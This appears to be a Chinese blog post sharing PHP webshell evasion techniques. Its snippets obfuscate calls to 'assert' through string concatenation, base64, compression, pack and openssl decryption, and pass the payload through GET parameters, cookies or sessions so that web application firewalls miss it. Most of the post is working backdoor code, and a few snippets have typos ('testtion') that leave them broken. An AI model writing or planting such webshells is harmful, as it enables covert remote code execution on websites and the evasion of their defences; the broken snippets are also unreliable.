php免杀
php马作为最常用的上马方式之一,各类waf对其的防护与检测也在不断完善
相信各位在对一些网站渗透测试中碰到过传马被删或者被拦的情况,刚好最近整理了一些php免杀方法,下面来分享一下
字符串类
字符串拼接:
<?php
$test = $_GET["test"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test"];
$c($test);
?>
base64加密:
<?php
$test = base64_decode($_GET["test"]);
#phpinfo()
#cGhwaW5mbygp
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
?>
函数绕过:
ucwords() //把每个单词的首字符转换为大写
ucfirst() //首字符转换为大写
trim() //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //把所有字符转换为大写
strtolower() //把所有字符转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
chr() //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode() //字符串压缩
gzuncompress()、gzinflate()、gzdecode() //字符串解压
base64_encode() //base64编码
base64_decode() //nase64解码
pack() //数据装入一个二进制字符串
unpack() //从二进制字符串对数据进行解包
不常见函数:
gzcompress() //此函数使用数据格式压缩给定的字符串
pack() //将输入参数打包成 format 格式的二进制字符串。
openssl_encrypt() //使用给定的方法和密钥加密给定的数据,返回原始或 base64 编码字符串
使用
gzcompress():
<?php
$test = gzuncompress(base64_decode($_GET["test"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
?
pack():
$test=pack("H14","706870696e666f");
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
#assert(phpinfo())
openssl_encrypt:
<?php
$key = "password";
$test = openssl_decrypt($_GET['test'], 'AES-128-ECB', $key, 0);
#加密数据test的值可以通过openssl_encrypt获取
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
传参绕过:
cookie:
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(base64_decode($_COOKIE["PHPSESSID"]));
?>
之后通过burp抓包修改PHPSESSID即可
session:
<?php
session_start();
$_SESSION['test']=base64_decode($_COOKIE["PHPSESSID"]);
?>
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['test']);
?>
burp通过cookie添加session,之后取出session
特征绕过
替换
[] {}
[] foreach
魔术方法:
__FILE__:返回当前文件的绝对路径(包含文件名)。
__CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。
__NAMESPACE__:返回当前文件的命名空间的名称
自动免杀:掩日免杀(分离)(网络)
不常见的:
注释和空白符绕过:
<?php
$test = $_GET["test"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c(//);//(
$test//);//);
)
?>
类方法调用:
<?php
class a{
testtion demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}
$s = new a();
$s->demo()($_GET[1]);
类的静态方法:
<?php
class a{
static testtion demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}
a::demo()($_GET[1]);
总结:
php上马免杀,理论上是只要绕过waf就可以,但特殊情况下存在驻场人员手动监控,看到一些奇怪的参就直接给你ban了,所以各位师傅尽量不要在一些敏感时期进行渗透测试,仅用于技术学习
推荐大家去看一下这位师傅的文章php免杀合集 - 跳跳糖 (tttang.com),里面还有一些扩展,十分详细
版权归原作者 白白白无 所有, 如有侵权,请联系我们删除。